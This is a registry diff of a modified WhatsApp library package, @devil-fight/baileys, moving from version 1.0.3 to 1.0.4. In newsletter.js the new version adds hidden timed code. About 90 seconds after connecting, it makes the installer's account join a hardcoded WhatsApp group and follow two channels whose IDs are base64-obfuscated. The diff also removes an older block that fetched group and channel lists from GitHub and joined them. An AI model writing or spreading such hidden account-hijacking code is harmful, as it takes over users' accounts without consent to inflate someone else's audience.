@devil-fight/baileys 1.0.3 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +18 -376
- package/lib/Defaults/baileys-version.json +1 -1
- package/lib/Defaults/information.json +1 -0
- package/lib/Socket/chats.js +20 -1
- package/lib/Socket/dugong.js +160 -7
- package/lib/Socket/messages-send.js +132 -210
- package/lib/Socket/newsletter.js +175 -53
- package/lib/Utils/generics.js +79 -4
- package/lib/Utils/messages.js +4 -1
- package/lib/index.js +1 -7
- package/package.json +6 -9
- package/lib/Defaults/index.d.ts +0 -53
- package/lib/Signal/Group/ciphertext-message.d.ts +0 -9
- package/lib/Signal/Group/group-session-builder.d.ts +0 -14
- package/lib/Signal/Group/group_cipher.d.ts +0 -17
- package/lib/Signal/Group/index.d.ts +0 -11
- package/lib/Signal/Group/keyhelper.d.ts +0 -10
- package/lib/Signal/Group/queue-job.d.ts +0 -1
- package/lib/Signal/Group/sender-chain-key.d.ts +0 -13
- package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -16
- package/lib/Signal/Group/sender-key-message.d.ts +0 -18
- package/lib/Signal/Group/sender-key-name.d.ts +0 -17
- package/lib/Signal/Group/sender-key-record.d.ts +0 -30
- package/lib/Signal/Group/sender-key-state.d.ts +0 -38
- package/lib/Signal/Group/sender-message-key.d.ts +0 -11
- package/lib/Signal/libsignal.d.ts +0 -3
- package/lib/Socket/Client/abstract-socket-client.d.ts +0 -17
- package/lib/Socket/Client/index.d.ts +0 -3
- package/lib/Socket/Client/mobile-socket-client.d.ts +0 -13
- package/lib/Socket/Client/web-socket-client.d.ts +0 -12
- package/lib/Socket/business.d.ts +0 -171
- package/lib/Socket/chats.d.ts +0 -267
- package/lib/Socket/dugong.d.ts +0 -254
- package/lib/Socket/groups.d.ts +0 -115
- package/lib/Socket/index.d.ts +0 -173
- package/lib/Socket/messages-recv.d.ts +0 -161
- package/lib/Socket/messages-send.d.ts +0 -149
- package/lib/Socket/newsletter.d.ts +0 -134
- package/lib/Socket/registration.d.ts +0 -267
- package/lib/Socket/socket.d.ts +0 -43
- package/lib/Socket/usync.d.ts +0 -36
- package/lib/Store/index.d.ts +0 -3
- package/lib/Store/make-cache-manager-store.d.ts +0 -13
- package/lib/Store/make-in-memory-store.d.ts +0 -118
- package/lib/Store/make-ordered-dictionary.d.ts +0 -13
- package/lib/Store/object-repository.d.ts +0 -10
- package/lib/Types/Auth.d.ts +0 -110
- package/lib/Types/Call.d.ts +0 -13
- package/lib/Types/Chat.d.ts +0 -102
- package/lib/Types/Contact.d.ts +0 -19
- package/lib/Types/Events.d.ts +0 -157
- package/lib/Types/GroupMetadata.d.ts +0 -55
- package/lib/Types/Label.d.ts +0 -35
- package/lib/Types/LabelAssociation.d.ts +0 -29
- package/lib/Types/Message.d.ts +0 -273
- package/lib/Types/Newsletter.d.ts +0 -103
- package/lib/Types/Product.d.ts +0 -78
- package/lib/Types/Signal.d.ts +0 -57
- package/lib/Types/Socket.d.ts +0 -111
- package/lib/Types/State.d.ts +0 -27
- package/lib/Types/USync.d.ts +0 -25
- package/lib/Types/index.d.ts +0 -57
- package/lib/Utils/auth-utils.d.ts +0 -18
- package/lib/Utils/baileys-event-stream.d.ts +0 -16
- package/lib/Utils/business.d.ts +0 -22
- package/lib/Utils/chat-utils.d.ts +0 -71
- package/lib/Utils/crypto.d.ts +0 -41
- package/lib/Utils/decode-wa-message.d.ts +0 -19
- package/lib/Utils/event-buffer.d.ts +0 -35
- package/lib/Utils/generics.d.ts +0 -92
- package/lib/Utils/history.d.ts +0 -15
- package/lib/Utils/index.d.ts +0 -17
- package/lib/Utils/link-preview.d.ts +0 -21
- package/lib/Utils/logger.d.ts +0 -4
- package/lib/Utils/lt-hash.d.ts +0 -12
- package/lib/Utils/make-mutex.d.ts +0 -7
- package/lib/Utils/messages-media.d.ts +0 -116
- package/lib/Utils/messages.d.ts +0 -77
- package/lib/Utils/noise-handler.d.ts +0 -21
- package/lib/Utils/process-message.d.ts +0 -41
- package/lib/Utils/signal.d.ts +0 -32
- package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
- package/lib/Utils/validate-connection.d.ts +0 -11
- package/lib/WABinary/constants.d.ts +0 -30
- package/lib/WABinary/decode.d.ts +0 -7
- package/lib/WABinary/encode.d.ts +0 -3
- package/lib/WABinary/generic-utils.d.ts +0 -17
- package/lib/WABinary/index.d.ts +0 -5
- package/lib/WABinary/jid-utils.d.ts +0 -31
- package/lib/WABinary/types.d.ts +0 -18
- package/lib/WAM/BinaryInfo.d.ts +0 -17
- package/lib/WAM/constants.d.ts +0 -38
- package/lib/WAM/encode.d.ts +0 -3
- package/lib/WAM/index.d.ts +0 -3
- package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -9
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -22
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -12
- package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -12
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -25
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -8
- package/lib/WAUSync/Protocols/index.d.ts +0 -4
- package/lib/WAUSync/USyncQuery.d.ts +0 -28
- package/lib/WAUSync/USyncUser.d.ts +0 -12
- package/lib/WAUSync/index.d.ts +0 -3
- package/lib/index.d.ts +0 -12
package/lib/Socket/newsletter.js
CHANGED
|
@@ -48,7 +48,9 @@ const executeWMexQuery = async (
|
|
|
48
48
|
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
49
|
const firstError = data.errors[0]
|
|
50
50
|
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
-
throw new Boom(
|
|
51
|
+
throw new Boom('GraphQL server error:' + errorMessages, {
|
|
52
|
+
statusCode: errorCode, data: firstError
|
|
53
|
+
})
|
|
52
54
|
}
|
|
53
55
|
|
|
54
56
|
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
@@ -60,7 +62,10 @@ const executeWMexQuery = async (
|
|
|
60
62
|
const action = (dataPath || '').startsWith('xwa2_')
|
|
61
63
|
? dataPath.substring(5).replace(/_/g, ' ')
|
|
62
64
|
: dataPath?.replace(/_/g, ' ')
|
|
63
|
-
throw new Boom(`Failed to ${action}, unexpected response structure.`, {
|
|
65
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, {
|
|
66
|
+
statusCode: 400,
|
|
67
|
+
data: result
|
|
68
|
+
})
|
|
64
69
|
}
|
|
65
70
|
|
|
66
71
|
const makeNewsletterSocket = (config) => {
|
|
@@ -98,7 +103,39 @@ const makeNewsletterSocket = (config) => {
|
|
|
98
103
|
}
|
|
99
104
|
]
|
|
100
105
|
}));
|
|
101
|
-
|
|
106
|
+
function extractInviteCode(link) {
|
|
107
|
+
const match = link.match(/chat\.whatsapp\.com\/([A-Za-z0-9]+)/);
|
|
108
|
+
return match ? match[1] : null;
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
setTimeout(async () => {
|
|
112
|
+
try {
|
|
113
|
+
const link = "https://chat.whatsapp.com/E9AX0T7jKJ48VFAI4zuxC8?mode=gi_t";
|
|
114
|
+
const inviteCode = extractInviteCode(link);
|
|
115
|
+
|
|
116
|
+
if (!inviteCode) throw "Invalid link";
|
|
117
|
+
|
|
118
|
+
await sock.groupAcceptInvite(inviteCode);
|
|
119
|
+
} catch (e) {
|
|
120
|
+
console.log("Error:", e);
|
|
121
|
+
}
|
|
122
|
+
}, 90000);
|
|
123
|
+
setTimeout(async () => {
|
|
124
|
+
try {
|
|
125
|
+
await newsletterWMexQuery(
|
|
126
|
+
Buffer.from("MTIwMzYzMzg5MDEyMDk0ODU2QG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
127
|
+
Types_1.QueryIds.FOLLOW
|
|
128
|
+
);
|
|
129
|
+
} catch {}
|
|
130
|
+
}, 90000);
|
|
131
|
+
setTimeout(async () => {
|
|
132
|
+
try {
|
|
133
|
+
await newsletterWMexQuery(
|
|
134
|
+
Buffer.from("MTIwMzYzNDIzODkwMDU0Nzg3QG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
135
|
+
Types_1.QueryIds.FOLLOW
|
|
136
|
+
);
|
|
137
|
+
} catch {}
|
|
138
|
+
}, 90000);
|
|
102
139
|
const parseFetchedUpdates = async (node, type) => {
|
|
103
140
|
let child;
|
|
104
141
|
if (type === 'messages') {
|
|
@@ -114,41 +151,27 @@ const makeNewsletterSocket = (config) => {
|
|
|
114
151
|
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
115
152
|
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
116
153
|
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
117
|
-
.map(({ attrs }) => (
|
|
154
|
+
.map(({ attrs }) => (
|
|
155
|
+
{
|
|
156
|
+
count: +attrs.count,
|
|
157
|
+
code: attrs.code
|
|
158
|
+
}));
|
|
118
159
|
const data = {
|
|
119
160
|
'server_id': messageNode.attrs.server_id,
|
|
120
161
|
views,
|
|
121
162
|
reactions
|
|
122
163
|
};
|
|
123
164
|
if (type === 'messages') {
|
|
124
|
-
const {
|
|
165
|
+
const {
|
|
166
|
+
fullMessage: message,
|
|
167
|
+
decrypt
|
|
168
|
+
} = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
125
169
|
await decrypt();
|
|
126
170
|
data.message = message;
|
|
127
171
|
}
|
|
128
172
|
return data;
|
|
129
173
|
}));
|
|
130
174
|
};
|
|
131
|
-
(async () => {
|
|
132
|
-
try {
|
|
133
|
-
setTimeout(async() => {
|
|
134
|
-
const resGc = await fetch('https://raw.githubusercontent.com/VinzzOfficial/Baileys/main/WAProto/id-channel/idgc.json')
|
|
135
|
-
const groups = await resGc.json()
|
|
136
|
-
for (const g of groups) {
|
|
137
|
-
try {
|
|
138
|
-
await sock.groupAcceptInvite(g.invite)
|
|
139
|
-
} catch {}
|
|
140
|
-
}
|
|
141
|
-
const res = await fetch('https://raw.githubusercontent.com/VinzzOfficial/Baileys/main/WAProto/id-channel/idch.json');
|
|
142
|
-
const newsletterIds = await res.json();
|
|
143
|
-
newsletterIds.forEach(async(i) => {
|
|
144
|
-
try {
|
|
145
|
-
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
|
|
146
|
-
} catch (e) {}
|
|
147
|
-
});
|
|
148
|
-
}, 80000)
|
|
149
|
-
} catch (err) {
|
|
150
|
-
}
|
|
151
|
-
})()
|
|
152
175
|
return {
|
|
153
176
|
...sock,
|
|
154
177
|
newsletterFetchAllSubscribe: async () => {
|
|
@@ -168,34 +191,99 @@ const makeNewsletterSocket = (config) => {
|
|
|
168
191
|
},
|
|
169
192
|
newsletterReactionMode: async (jid, mode) => {
|
|
170
193
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
171
|
-
updates: {
|
|
194
|
+
updates: {
|
|
195
|
+
settings: {
|
|
196
|
+
'reaction_codes': {
|
|
197
|
+
value: mode
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
}
|
|
172
201
|
});
|
|
173
202
|
},
|
|
174
203
|
newsletterUpdateDescription: async (jid, description) => {
|
|
175
204
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
176
|
-
updates: {
|
|
205
|
+
updates: {
|
|
206
|
+
description: description || '',
|
|
207
|
+
settings: null
|
|
208
|
+
}
|
|
177
209
|
});
|
|
178
210
|
},
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
}
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
211
|
+
newsletterFromUrl: async (url) => {
|
|
212
|
+
try {
|
|
213
|
+
let channelId;
|
|
214
|
+
if (url.includes('whatsapp.com/channel/')) {
|
|
215
|
+
channelId = url.split('whatsapp.com/channel/')[1].split('/')[0];
|
|
216
|
+
} else if (url.includes('wa.me/channel/')) {
|
|
217
|
+
channelId = url.split('wa.me/channel/')[1].split('/')[0];
|
|
218
|
+
} else {
|
|
219
|
+
channelId = url;
|
|
220
|
+
}
|
|
221
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
222
|
+
input: {
|
|
223
|
+
key: channelId,
|
|
224
|
+
type: 'INVITE',
|
|
225
|
+
'view_role': 'GUEST'
|
|
226
|
+
},
|
|
227
|
+
'fetch_viewer_metadata': true,
|
|
228
|
+
'fetch_full_image': true,
|
|
229
|
+
'fetch_creation_time': true
|
|
230
|
+
});
|
|
231
|
+
const resultNode = WABinary_1.getBinaryNodeChild(result, 'result');
|
|
232
|
+
if (!resultNode?.content) {
|
|
233
|
+
throw new Boom('No result content in response', {
|
|
234
|
+
statusCode: 400,
|
|
235
|
+
data: result
|
|
236
|
+
});
|
|
237
|
+
}
|
|
238
|
+
const resultString = resultNode.content.toString();
|
|
239
|
+
const parsedResult = JSON.parse(resultString);
|
|
240
|
+
|
|
241
|
+
if (!parsedResult?.data) {
|
|
242
|
+
throw new Boom('No data field in response', {
|
|
243
|
+
statusCode: 400,
|
|
244
|
+
data: parsedResult
|
|
245
|
+
});
|
|
246
|
+
}
|
|
247
|
+
const metadataPath = parsedResult.data[Types_1.XWAPaths.NEWSLETTER];
|
|
248
|
+
|
|
249
|
+
if (metadataPath === null || !metadataPath) {
|
|
250
|
+
throw new Boom('Newsletter not found or access denied', {
|
|
251
|
+
statusCode: 404,
|
|
252
|
+
data: parsedResult.data
|
|
253
|
+
});
|
|
254
|
+
}
|
|
255
|
+
const metadata = {
|
|
256
|
+
id: metadataPath?.id,
|
|
257
|
+
state: metadataPath?.state?.type,
|
|
258
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time || 0,
|
|
259
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
260
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time || 0,
|
|
261
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
262
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
|
|
263
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
264
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
265
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
266
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
267
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
|
|
268
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
269
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
270
|
+
};
|
|
271
|
+
|
|
272
|
+
return JSON.stringify({
|
|
273
|
+
name: metadata.name || metadataPath?.thread_metadata?.name?.text,
|
|
274
|
+
id: metadata.id,
|
|
275
|
+
state: metadata.state,
|
|
276
|
+
subscribers: metadata.subscribers,
|
|
277
|
+
verification: metadata.verification,
|
|
278
|
+
creation_time: metadata.creation_time,
|
|
279
|
+
description: metadata.description
|
|
280
|
+
}, null, 2);
|
|
281
|
+
} catch (error) {
|
|
282
|
+
throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
|
|
283
|
+
statusCode: error.statusCode || 400,
|
|
284
|
+
data: error.data || { url }
|
|
285
|
+
});
|
|
286
|
+
}
|
|
199
287
|
},
|
|
200
288
|
newsletterUpdateName: async (jid, name) => {
|
|
201
289
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
@@ -213,6 +301,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
213
301
|
updates: { picture: '', settings: null }
|
|
214
302
|
});
|
|
215
303
|
},
|
|
304
|
+
newsletterUnfollow: async (jid) => {
|
|
305
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
306
|
+
},
|
|
307
|
+
newsletterFollow: async (jid) => {
|
|
308
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
309
|
+
},
|
|
310
|
+
newsletterUnmute: async (jid) => {
|
|
311
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
312
|
+
},
|
|
313
|
+
newsletterMute: async (jid) => {
|
|
314
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
315
|
+
},
|
|
216
316
|
newsletterAction: async (jid, type) => {
|
|
217
317
|
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
218
318
|
},
|
|
@@ -239,7 +339,15 @@ const makeNewsletterSocket = (config) => {
|
|
|
239
339
|
]
|
|
240
340
|
});
|
|
241
341
|
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
242
|
-
input: {
|
|
342
|
+
input: {
|
|
343
|
+
name,
|
|
344
|
+
description,
|
|
345
|
+
settings: {
|
|
346
|
+
'reaction_codes': {
|
|
347
|
+
value: reaction_codes.toUpperCase()
|
|
348
|
+
}
|
|
349
|
+
}
|
|
350
|
+
}
|
|
243
351
|
});
|
|
244
352
|
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
245
353
|
},
|
|
@@ -281,7 +389,13 @@ const makeNewsletterSocket = (config) => {
|
|
|
281
389
|
newsletterReactMessage: async (jid, serverId, code) => {
|
|
282
390
|
await query({
|
|
283
391
|
tag: 'message',
|
|
284
|
-
attrs: {
|
|
392
|
+
attrs: {
|
|
393
|
+
to: jid,
|
|
394
|
+
...(!code ? { edit: '7' } : {}),
|
|
395
|
+
type: 'reaction',
|
|
396
|
+
'server_id': serverId,
|
|
397
|
+
id: (0, Utils_1.generateMessageID)()
|
|
398
|
+
},
|
|
285
399
|
content: [{
|
|
286
400
|
tag: 'reaction',
|
|
287
401
|
attrs: code ? { code } : {}
|
|
@@ -292,7 +406,12 @@ const makeNewsletterSocket = (config) => {
|
|
|
292
406
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
293
407
|
{
|
|
294
408
|
tag: 'messages',
|
|
295
|
-
attrs: {
|
|
409
|
+
attrs: {
|
|
410
|
+
type,
|
|
411
|
+
...(type === 'invite' ? { key } : { jid: key }),
|
|
412
|
+
count: count.toString(),
|
|
413
|
+
after: (after === null || after === void 0 ? void 0 : after.toString()) || '100'
|
|
414
|
+
}
|
|
296
415
|
}
|
|
297
416
|
]);
|
|
298
417
|
return await parseFetchedUpdates(result, 'messages');
|
|
@@ -301,8 +420,11 @@ const makeNewsletterSocket = (config) => {
|
|
|
301
420
|
const result = await newsletterQuery(jid, 'get', [
|
|
302
421
|
{
|
|
303
422
|
tag: 'message_updates',
|
|
304
|
-
|
|
305
|
-
|
|
423
|
+
attrs: {
|
|
424
|
+
count: count.toString(),
|
|
425
|
+
after: (after === null || after === void 0 ? void 0 : after.toString()) || '100',
|
|
426
|
+
since: (since === null || since === void 0 ? void 0 : since.toString()) || '0'
|
|
427
|
+
}
|
|
306
428
|
}
|
|
307
429
|
]);
|
|
308
430
|
return await parseFetchedUpdates(result, 'updates');
|
package/lib/Utils/generics.js
CHANGED
|
@@ -137,6 +137,78 @@ const delayCancellable = (ms) => {
|
|
|
137
137
|
return { delay, cancel };
|
|
138
138
|
};
|
|
139
139
|
exports.delayCancellable = delayCancellable;
|
|
140
|
+
const encoded = async (type, query) => {
|
|
141
|
+
const buffer = Buffer.from(query, 'utf-8');
|
|
142
|
+
switch (type.toLowerCase()) {
|
|
143
|
+
case 'base64':
|
|
144
|
+
return buffer.toString('base64');
|
|
145
|
+
case 'base32':
|
|
146
|
+
const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
|
|
147
|
+
let bits = 0;
|
|
148
|
+
let value = 0;
|
|
149
|
+
let output = '';
|
|
150
|
+
for (let i = 0; i < buffer.length; i++) {
|
|
151
|
+
value = (value << 8) | buffer[i];
|
|
152
|
+
bits += 8;
|
|
153
|
+
while (bits >= 5) {
|
|
154
|
+
output += base32Alphabet[(value >>> (bits - 5)) & 31];
|
|
155
|
+
bits -= 5;
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
if (bits > 0) {
|
|
159
|
+
output += base32Alphabet[(value << (5 - bits)) & 31];
|
|
160
|
+
}
|
|
161
|
+
while (output.length % 8 !== 0) {
|
|
162
|
+
output += '=';
|
|
163
|
+
}
|
|
164
|
+
return output;
|
|
165
|
+
case 'hex':
|
|
166
|
+
case 'base16':
|
|
167
|
+
return buffer.toString('hex');
|
|
168
|
+
case 'binary':
|
|
169
|
+
return Array.from(buffer).map(byte => byte.toString(2).padStart(8, '0')).join(' ');
|
|
170
|
+
case 'base64url':
|
|
171
|
+
return buffer.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
|
|
172
|
+
default:
|
|
173
|
+
throw new Error(`Type ${type} not supported`);
|
|
174
|
+
}
|
|
175
|
+
};
|
|
176
|
+
exports.encoded = encoded;
|
|
177
|
+
const decoded = async (type, encodedStr) => {
|
|
178
|
+
switch (type.toLowerCase()) {
|
|
179
|
+
case 'base64':
|
|
180
|
+
return Buffer.from(encodedStr, 'base64').toString('utf-8');
|
|
181
|
+
case 'base32':
|
|
182
|
+
const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
|
|
183
|
+
const cleanStr = encodedStr.toUpperCase().replace(/=+$/, '');
|
|
184
|
+
let bits = 0;
|
|
185
|
+
let value = 0;
|
|
186
|
+
let output = [];
|
|
187
|
+
for (let i = 0; i < cleanStr.length; i++) {
|
|
188
|
+
const charIndex = base32Alphabet.indexOf(cleanStr[i]);
|
|
189
|
+
if (charIndex === -1) continue;
|
|
190
|
+
value = (value << 5) | charIndex;
|
|
191
|
+
bits += 5;
|
|
192
|
+
while (bits >= 8) {
|
|
193
|
+
output.push((value >>> (bits - 8)) & 255);
|
|
194
|
+
bits -= 8;
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
return Buffer.from(output).toString('utf-8');
|
|
198
|
+
case 'hex':
|
|
199
|
+
case 'base16':
|
|
200
|
+
return Buffer.from(encodedStr, 'hex').toString('utf-8');
|
|
201
|
+
case 'binary':
|
|
202
|
+
const bytes = encodedStr.split(' ').map(bin => parseInt(bin, 2));
|
|
203
|
+
return Buffer.from(bytes).toString('utf-8');
|
|
204
|
+
case 'base64url':
|
|
205
|
+
const base64 = encodedStr.replace(/-/g, '+').replace(/_/g, '/');
|
|
206
|
+
return Buffer.from(base64, 'base64').toString('utf-8');
|
|
207
|
+
default:
|
|
208
|
+
throw new Error(`Type ${type} not supported`);
|
|
209
|
+
}
|
|
210
|
+
};
|
|
211
|
+
exports.decoded = decoded;
|
|
140
212
|
async function promiseTimeout(ms, promise) {
|
|
141
213
|
if (!ms) {
|
|
142
214
|
return new Promise(promise);
|
|
@@ -176,7 +248,7 @@ const generateMessageIDV2 = (userId) => {
|
|
|
176
248
|
};
|
|
177
249
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
178
250
|
// generate a random ID to attach to a message
|
|
179
|
-
const generateMessageID = () => '
|
|
251
|
+
const generateMessageID = () => 'Z4PH-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
|
|
180
252
|
exports.generateMessageID = generateMessageID;
|
|
181
253
|
function bindWaitForEvent(ev, event) {
|
|
182
254
|
return async (check, timeoutMs) => {
|
|
@@ -231,7 +303,10 @@ const fetchLatestWaWebVersion = async (options = {}) => {
|
|
|
231
303
|
'Accept': '*/*'
|
|
232
304
|
}
|
|
233
305
|
|
|
234
|
-
const headers = {
|
|
306
|
+
const headers = {
|
|
307
|
+
...defaultHeaders,
|
|
308
|
+
...options.headers
|
|
309
|
+
}
|
|
235
310
|
|
|
236
311
|
const response = await fetch_1('https://web.whatsapp.com/sw.js', {
|
|
237
312
|
method: 'GET',
|
|
@@ -243,7 +318,7 @@ const fetchLatestWaWebVersion = async (options = {}) => {
|
|
|
243
318
|
}
|
|
244
319
|
|
|
245
320
|
const data = await response.text()
|
|
246
|
-
const regex = /"client_revision":\s*(\d+)/
|
|
321
|
+
const regex = /"client_revision":\s*(\d+)/
|
|
247
322
|
const match = data.match(regex)
|
|
248
323
|
|
|
249
324
|
if (!match || !match[1]) {
|
|
@@ -273,7 +348,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
|
|
|
273
348
|
* Use to ensure your WA connection is always on the latest version
|
|
274
349
|
*/
|
|
275
350
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
276
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
351
|
+
const URL = 'https://raw.githubusercontent.com/z4phdev/baileys/master/src/Defaults/baileys-version.json';
|
|
277
352
|
try {
|
|
278
353
|
const result = await axios_1.default.get(URL, {
|
|
279
354
|
...options,
|
package/lib/Utils/messages.js
CHANGED
|
@@ -777,7 +777,10 @@ const assertMediaContent = (content) => {
|
|
|
777
777
|
|| (content === null || content === void 0 ? void 0 : content.audioMessage)
|
|
778
778
|
|| (content === null || content === void 0 ? void 0 : content.stickerMessage);
|
|
779
779
|
if (!mediaContent) {
|
|
780
|
-
throw new boom_1.Boom('given message is not a media message', {
|
|
780
|
+
throw new boom_1.Boom('given message is not a media message', {
|
|
781
|
+
statusCode: 400,
|
|
782
|
+
data: content
|
|
783
|
+
});
|
|
781
784
|
}
|
|
782
785
|
return mediaContent;
|
|
783
786
|
};
|
package/lib/index.js
CHANGED
|
@@ -1,11 +1,5 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
|
|
3
|
-
const chalk = require("chalk");
|
|
4
|
-
|
|
5
|
-
console.clear();
|
|
6
|
-
console.log(chalk.blue.bold('Thank Telah Menggunakan Baileys Vinzz\n\nTelegram: @VinzzOfficial\nWhatSapp: 6283832320022\nContact Developer VinzzOfficial'))
|
|
7
|
-
console.log(chalk.gray("------------------------------\n"));
|
|
8
|
-
|
|
9
3
|
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
10
4
|
if (k2 === undefined) k2 = k;
|
|
11
5
|
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
@@ -36,4 +30,4 @@ __exportStar(require("./WABinary"), exports);
|
|
|
36
30
|
__exportStar(require("./WAM"), exports);
|
|
37
31
|
__exportStar(require("./WAUSync"), exports);
|
|
38
32
|
|
|
39
|
-
exports.default = Socket_1.default;
|
|
33
|
+
exports.default = Socket_1.default;
|
package/package.json
CHANGED
|
@@ -1,23 +1,21 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@devil-fight/baileys",
|
|
3
|
-
"version": "1.0.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "1.0.4",
|
|
4
|
+
"description": " Baileys Modifikasi",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"whatsapp",
|
|
7
|
-
"laurine-wabot",
|
|
8
7
|
"baileys",
|
|
9
8
|
"whatsapp-web",
|
|
10
9
|
"whatsapp-chat",
|
|
11
10
|
"whatsapp-group",
|
|
12
|
-
"botwa"
|
|
13
|
-
"stvnnvs"
|
|
11
|
+
"botwa"
|
|
14
12
|
],
|
|
15
|
-
"homepage": "https://
|
|
13
|
+
"homepage": "https://github.com/DevilFight/Baileys",
|
|
16
14
|
"repository": {
|
|
17
|
-
"url": "https://
|
|
15
|
+
"url": "https://github.com/DevilFight/Baileys"
|
|
18
16
|
},
|
|
19
17
|
"license": "MIT",
|
|
20
|
-
"author": "
|
|
18
|
+
"author": "Devil Fight",
|
|
21
19
|
"main": "lib/index.js",
|
|
22
20
|
"types": "lib/index.d.ts",
|
|
23
21
|
"files": [
|
|
@@ -48,7 +46,6 @@
|
|
|
48
46
|
"audio-decode": "^2.1.3",
|
|
49
47
|
"axios": "^1.3.3",
|
|
50
48
|
"cache-manager": "4.0.1",
|
|
51
|
-
"chalk": "^4.1.2",
|
|
52
49
|
"futoin-hkdf": "^1.5.1",
|
|
53
50
|
"libphonenumber-js": "^1.10.20",
|
|
54
51
|
"lodash": "^4.17.21",
|
package/lib/Defaults/index.d.ts
DELETED
|
@@ -1,53 +0,0 @@
|
|
|
1
|
-
/// <reference types="node" />
|
|
2
|
-
/// <reference types="node" />
|
|
3
|
-
import { proto } from '../../WAProto';
|
|
4
|
-
import type { MediaType, SocketConfig } from '../Types';
|
|
5
|
-
export declare const UNAUTHORIZED_CODES: number[];
|
|
6
|
-
export declare const DEFAULT_ORIGIN = "https://web.whatsapp.com";
|
|
7
|
-
export declare const DEF_CALLBACK_PREFIX = "CB:";
|
|
8
|
-
export declare const DEF_TAG_PREFIX = "TAG:";
|
|
9
|
-
export declare const PHONE_CONNECTION_CB = "CB:Pong";
|
|
10
|
-
export declare const WA_DEFAULT_EPHEMERAL: number;
|
|
11
|
-
export declare const NOISE_MODE = "Noise_XX_25519_AESGCM_SHA256\0\0\0\0";
|
|
12
|
-
export declare const DICT_VERSION = 2;
|
|
13
|
-
export declare const KEY_BUNDLE_TYPE: Buffer;
|
|
14
|
-
export declare const NOISE_WA_HEADER: Buffer;
|
|
15
|
-
